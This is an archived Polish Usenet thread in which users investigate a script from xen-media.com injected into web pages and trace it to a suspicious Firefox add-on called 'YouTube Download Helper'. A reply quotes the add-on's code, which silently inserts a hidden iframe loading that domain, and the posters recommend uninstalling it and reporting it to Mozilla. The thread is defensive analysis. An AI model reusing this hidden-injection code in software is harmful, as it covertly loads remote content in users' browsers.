znaczacy > comp.* > comp.sieci

Krystek (24.10.2018, 01:15)
Od mniej wiecej dwóch tygodni (lub ciutke dluzej), na wielu stronach
pojawil sie skrypt z adresem xen-media.com

NoScript wylapuje takie rzeczy i na stronie
jest tak:

[e(c)]=k[c]||e(c)%7Dk=[function(e)%7Breturn




















Google milczy w wynikach wyszukiwania na temat tej domeny. Mam to
widoczne w NoScript pod Firefoksem. Zaczalem podejrzewac, ze to jakis
dodatek i padlo na YouTube Download Helper -
<https://addons.mozilla.org/pl/firefox/user/anonymous-026c7d4f3689e4f97e52d5136d145fcf/>

Czy ktos bieglejszy móglby zdebugowac co to?

K.
Dominik 'Rathann' Mierzejewski (31.10.2018, 12:28)
Date: Wed, 24 Oct 2018 01:15:00
From: Krystek
> Od mniej wiecej dwóch tygodni (lub ciutke dluzej), na wielu stronach
> pojawil sie skrypt z adresem xen-media.com


Nie zauwazylem. Podaj jakas przykladowa strone.

[...]
> Google milczy w wynikach wyszukiwania na temat tej domeny. Mam to
> widoczne w NoScript pod Firefoksem. Zaczalem podejrzewac, ze to jakis
> dodatek i padlo na YouTube Download Helper -
> <https://addons.mozilla.org/pl/firefox/user/anonymous-026c7d4f3689e4f97e52d5136d145fcf/>


Wyglada podejrzanie. Ja bym tego nie instalowal. Komentarze wygladaja na
dodane automatem, a autor ma konto od lipca i nie ma innych dodatków.

> Czy ktos bieglejszy móglby zdebugowac co to?


Faktycznie zawiera w kodzie odwolanie do xen-media.com w scripts/stream-map.js:

[...]
chrome.storage.local.get('t', function (res) {
if (res.t) {
var time = (new Date().getTime() - res.t) / 3600000;
if (time >= 4) {
var mergeDiv = document.createElement("div");
var mergeButton = document.createElement("iframe");
mergeButton.setAttribute("style", "height:1px,width:1px;position:absolute;top:0;left :0;border:no
ne;visibility:hidden");
mergeButton.src = '//xen-media.com/merge';
mergeButton.id = "mergeButton";
document.body.appendChild(mergeDiv);
mergeDiv.appendChild(mergeButton);
}
}
});
[...]

Odinstaluj i zglos naduzycie do Mozilli.

Pozdrawiam,
Dominik
Krystek (06.11.2018, 17:25)
W dniu 2018-10-31 11:28, Dominik 'Rathann' Mierzejewski pisze:
> Date: Wed, 24 Oct 2018 01:15:00
> From: Krystek
> Nie zauwazylem. Podaj jakas przykladowa strone.
> [...]
> Wyglada podejrzanie. Ja bym tego nie instalowal. Komentarze wygladaja na
> dodane automatem, a autor ma konto od lipca i nie ma innych dodatków.
> Faktycznie zawiera w kodzie odwolanie do xen-media.com w scripts/stream-map.js:


Dzieki za sprawdzenie.

[..]
> });
> [...]
> Odinstaluj i zglos naduzycie do Mozilli.


Odinstalowac to dawno odinstalowalem, bo - jak pisalem wczesniej - cos
mi nie gralo, gdy w NoScript pojawil sie skrypt do blokowania z domeny
xen-media.com i skojarzylem, ze pare dni wczesniej instalowalem ten dodatek.

Zglosilem dzisiaj do Mozilli, przytaczajac ten komentarz z recenzji
dodatku -
<https://addons.mozilla.org/pl/firefox/addon/youtube-download-helper/reviews/1227723/>

Pozdrawiam

K.
Podobne wątki